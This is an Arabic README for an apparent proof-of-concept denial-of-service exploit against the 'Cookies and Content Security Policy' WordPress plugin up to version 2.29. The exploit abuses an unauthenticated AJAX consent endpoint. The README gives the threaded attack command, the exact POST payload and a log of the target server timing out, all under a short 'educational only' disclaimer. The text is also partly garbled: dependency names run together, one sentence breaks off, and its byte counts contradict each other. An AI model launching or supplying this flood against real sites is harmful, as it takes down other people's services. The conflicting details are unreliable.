
التحكم غير الصحيح في الوصول في وظيفة نقطة نهاية AJAX في إضافة jonkastonka Cookies and Content Security Policy حتى الإصدار 2.29
يسمح التحكم غير الصحيح في الوصول في وظيفة نقطة نهاية AJAX في إضافة jonkastonka Cookies and Content Security Policy حتى الإصدار 2.29 للمهاجمين عن بُعد بالتسبب في رفض الخدمة (استنزاف موارد خادم قاعدة البيانات) عبر عمليات كتابة غير محدودة في قاعدة البيانات إلى نقطة النهاية wp_ajax_nopriv_cacsp_insert_consent_data.
توجد الثغرة في الدالة cacsp_insert_consent_data()، والتي يتم كشفها من خلال نقطة نهاية AJAX الخاصة بووردبريس (wp-admin/admin-ajax.php) دون متطلبات مصادقة. تستخدم الإضافة إجراء wp_ajax_nopriv_، مما يجعلها متاحة للمستخدمين غير المصادق عليهم.
متجه الهجوم: يمكن للمهاجمين عن بُعد إرسال طلبات POST متزامنة غير محدودة لإغراق خادم قاعدة البيانات بعمليات الكتابة، مما يتسبب في استنزاف وحدة المعالجة المركزية (CPU) وإدخال/إخراج القرص.
requestsmatplotlibthreadingالاستخدام الأساسي لسكربت إثبات المفهوم (PoC) هو كما يلي:
python payload.py --target <target_url> --threads <number_of_threads>
بشكل افتراضي، يتم تعيين عدد الخيوط على 100. يمكنك تحديد عدد مختلف من الخيوط عن طريق تمريره كوسيطة ثانية.

Target WordPress URL (https://example.com): https://vulnerable-site.com
Number of threads (default 100):
Launching DoS attack with 100 threads...
Press Ctrl+C to stop the attack
[19:41:20] ✓ Status: 200 | Response time: 538.3ms | DB: 0.00MB (1 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 554.51ms | DB: 0.00MB (2 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 522.29ms | DB: 0.00MB (3 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 498.72ms | DB: 0.00MB (4 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 946.94ms | DB: 0.00MB (5 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 858.41ms | DB: 0.00MB (6 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 922.29ms | DB: 0.00MB (7 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 991.41ms | DB: 0.00MB (8 rows, 351b/row)
...
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
يرسل الاستغلال طلبات POST إلى /wp-admin/admin-ajax.php مع:
data = {
'action': 'cacsp_insert_consent_data',
'accepted_cookies': 'necessary,experience,analytics,marketing',
'expires': "9" * 255 # Maximum TINYTEXT length
}
يقوم كل طلب ناجح بإدراج صف جديد في قاعدة البيانات يحتوي على:
النتيجة: ~89 بايت لكل طلب × طلبات غير محدودة = نمو سريع لقاعدة البيانات
إثبات المفهوم (PoC) هذا مخصص للأغراض التعليمية فقط. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن استخدام هذا الكود. احصل دائمًا على إذن قبل الاختبار ضد أي نظام.